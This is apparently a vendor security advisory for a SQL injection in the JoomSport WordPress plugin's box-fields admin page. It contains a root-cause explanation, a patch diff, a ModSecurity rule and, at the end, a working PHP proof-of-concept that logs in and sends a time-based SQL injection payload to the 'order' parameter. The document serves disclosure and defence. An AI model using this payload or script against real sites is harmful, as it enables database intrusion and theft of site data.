Atomic Edge analysis of CVE-2026-11920: An authenticated SQL injection vulnerability in the JoomSport WordPress plugin, affecting versions up to and including 5.7.9. The flaw resides in the admin page handler for box fields, where the ‘order’ parameter is improperly sanitized before being concatenated into an SQL query. Attackers with administrator-level access, or unauthenticated attackers who can trick an admin into visiting a crafted URL (due to missing CSRF protection), can inject arbitrary SQL commands to extract sensitive data from the database. The CVSS score is 4.9 (Medium).
Root Cause: The vulnerability exists in the file joomsport-sports-league-results-management/includes/pages/joomsport-page-boxfields.php, within the code block that constructs an SQL query for ordering results. At line 33, the code checks if the ‘orderby’ parameter is non-empty and then directly uses the ‘order’ parameter in the ORDER BY clause after applying esc_sql(). However, esc_sql() only escapes string values for use within quotes and does not prevent SQL injection when the input is used as an identifier or keyword. The original code (shown in the diff as commented out) was: $sqlway = ! empty( $_REQUEST[‘order’] ) ? ‘ ‘ . esc_sql( $_REQUEST[‘order’] ) : ‘ ASC’;. This allows an attacker to supply a malicious ‘order’ value such as ‘ASC, (SELECT SLEEP(5))’ or other SQL fragments, which are appended to the query. The query is executed without proper parameterization or validation. The patch replaces this with a whitelist approach: $available = array(‘ASC’,’DESC’); $sqlway = in_array(strtoupper($_REQUEST[‘order’]), $available)?esc_sql( $_REQUEST[‘order’] ):’ASC’;. This ensures only ‘ASC’ or ‘DESC’ are accepted, defaulting to ‘ASC’ otherwise.
Exploitation: An attacker with administrator credentials can send a GET request to the admin page that handles box fields, typically /wp-admin/admin.php?page=joomsport-boxfields, with parameters ‘orderby’ set to a non-empty value (e.g., ‘name’) and ‘order’ set to a malicious SQL payload. For example: /wp-admin/admin.php?page=joomsport-boxfields&orderby=name&order=ASC,(SELECT SLEEP(5)). Because the page lacks nonce or CSRF protection, an unauthenticated attacker can craft a link containing these parameters and trick a logged-in administrator into clicking it, thereby executing the injected SQL. The injection is time-based, allowing attackers to extract data by observing delays. The ‘orderby’ parameter must be present and non-empty for the vulnerable code path to be triggered.
Patch Analysis: The patch modifies joomsport-page-boxfields.php to validate the ‘order’ parameter against a whitelist of allowed values (‘ASC’ and ‘DESC’). The new code checks if the uppercase version of the supplied ‘order’ is in the array; if not, it defaults to ‘ASC’. This prevents any arbitrary SQL from being injected because the value is strictly limited to two safe keywords. Additionally, the patch includes intval() casts on various parameters in joomsport-shortcodes.php to prevent other potential injection points, but the primary fix for this CVE is the whitelist in the boxfields page. The version number is bumped to 5.7.10.
Impact: Successful exploitation allows an attacker to execute arbitrary SQL queries against the WordPress database, leading to disclosure of sensitive information such as user credentials, personal data, and configuration details. In severe cases, it could lead to further compromise of the site. The requirement for administrator-level access or social engineering reduces the severity, but the lack of CSRF protection increases the attack surface.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/joomsport-sports-league-results-management/includes/joomsport-shortcodes.php
+++ b/joomsport-sports-league-results-management/includes/joomsport-shortcodes.php
@@ -281,6 +281,7 @@
'display_name' => 0,
'display_player_name' => 0,
), $attr );
+ $args['event'] = intval($args['event']);
ob_start();
wp_enqueue_style('jscssbtstrp',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/btstrp.css');
wp_enqueue_style('jscssjoomsport',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/joomsport.css');
@@ -297,12 +298,13 @@
require_once JOOMSPORT_PATH_OBJECTS.'class-jsport-event.php';
$options = array();
$eventid = 'eventid_'.$args['event'];
- $options['season_id'] = $args['seasonid'] = $args['id'];
- $options['team_id'] = $args['partic_id'];
- $options['limit'] = $args['quantity'];
- $options['group_id'] = $args['group_id'];
+ $options['season_id'] = $args['seasonid'] = intval($args['id']);
+ $options['team_id'] = intval($args['partic_id']);
+ $options['limit'] = intval($args['quantity']);
+ $options['group_id'] = intval($args['group_id']);
$options['ordering'] = $eventid.' DESC';
$options['groupby'] = 1;
+
$eventObj = new classJsportEvent($args['event']);
$players = classJsportgetplayers::getPlayersFromTeam($options);
if(count($players['list'])){
@@ -416,17 +418,17 @@
'partic_id' => 0,
'quantity' => 0,
'matchtype' => 0,
- 'emblems' => $args['photo'],
- 'venue' => $args['venue'],
+ 'emblems' => intval($args['photo']),
+ 'venue' => intval($args['venue']),
'season' => 0,
'slider' => 0,
- 'layout' => $args['layout'],
+ 'layout' => intval($args['layout']),
'groupbymd' => 0,
'morder' => 0,
'md_navigation' => 1,
- 'matchday_id' => $args['matchday_id'],
- 'teamname' => $args['teamname'] );
- $options["matchday_id"] = $args['matchday_id'];
+ 'matchday_id' => intval($args['matchday_id']),
+ 'teamname' => intval($args['teamname'] ));
+ $options["matchday_id"] = intval($args['matchday_id']);
$options["season_id"] = $term_meta['season_id'];
@@ -487,6 +489,7 @@
if(!$args['season_id']){
return false;
}
+ $args['season_id'] = intval($args['season_id']);
$ttype = JoomSportHelperObjects::getTournamentType($args['season_id']);
if(!$args['team_id'] && !$ttype){
@@ -621,6 +624,8 @@
'counting' => 0,
'order' => 0,
), $attr );
+ $args['event'] = $args['event']?intval($args['event']):null;
+ $args['id'] = $args['id']?intval($args['id']):null;
ob_start();
wp_enqueue_style('jscssbtstrp',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/btstrp.css');
wp_enqueue_style('jscssjoomsport',plugin_dir_url( __FILE__ ).'../sportleague/assets/css/joomsport.css');
--- a/joomsport-sports-league-results-management/includes/pages/joomsport-page-boxfields.php
+++ b/joomsport-sports-league-results-management/includes/pages/joomsport-page-boxfields.php
@@ -31,8 +31,9 @@
. " ON b1.parent_id = b2.id OR (b1.parent_id = 0 AND b1.id = b2.id)";
if ( ! empty( $_REQUEST['orderby'] ) ) {
- //$sql .= ' ORDER BY ' . esc_sql( $_REQUEST['orderby'] );
- $sqlway = ! empty( $_REQUEST['order'] ) ? ' ' . esc_sql( $_REQUEST['order'] ) : ' ASC';
+ $available = array('ASC','DESC');
+ $sqlway = in_array(strtoupper($_REQUEST['order']), $available)?esc_sql( $_REQUEST['order'] ):'ASC';
+
$sql .= ' ORDER BY b2.name '.$sqlway.',b2.id,b1.parent_id, b1.name '.$sqlway.', b2.id, b1.id';
}else{
$sql .= ' ORDER BY b2.ordering,b2.id,b1.parent_id, b1.ordering, b2.id, b1.id';
--- a/joomsport-sports-league-results-management/joomsport.php
+++ b/joomsport-sports-league-results-management/joomsport.php
@@ -3,7 +3,7 @@
Plugin Name: JoomSport
Plugin URI: http://joomsport.com
Description: Sport league plugin
-Version: 5.7.9
+Version: 5.7.10
Author: BearDev
Author URI: http://BearDev.com
License: GPLv3
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-11920
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php$"
"id:202611920,phase:2,deny,status:403,chain,msg:'CVE-2026-11920 via JoomSport order parameter SQL injection',severity:'CRITICAL',tag:'CVE-2026-11920'"
SecRule ARGS_GET:page "@streq joomsport-boxfields" "chain"
SecRule ARGS_GET:orderby "@rx ^.+$" "chain"
SecRule ARGS_GET:order "!@rx ^(asc|desc)$" "t:urlDecodeUni,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11920 - JoomSport <= 5.7.9 - Authenticated (Administrator+) SQL Injection via 'order' Parameter
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$admin_user = 'admin'; // Administrator username
$admin_pass = 'password'; // Administrator password
// Initialize cURL session
$ch = curl_init();
// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $admin_user,
'pwd' => $admin_pass,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Craft the malicious request to the vulnerable endpoint
// The vulnerable page is typically accessed via admin.php?page=joomsport-boxfields
// We include orderby (non-empty) and order with a time-based SQL injection payload
$payload = 'ASC,(SELECT SLEEP(5))'; // Time-based injection to cause a 5-second delay
$exploit_url = $target_url . '/wp-admin/admin.php?page=joomsport-boxfields&orderby=name&order=' . urlencode($payload);
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
// Check if the response was delayed (indicating successful injection)
if ($elapsed >= 5) {
echo "SQL injection successful! Response delayed by " . round($elapsed, 2) . " seconds.n";
} else {
echo "Injection may have failed or the page did not trigger the query. Elapsed time: " . round($elapsed, 2) . " seconds.n";
}
curl_close($ch);
?>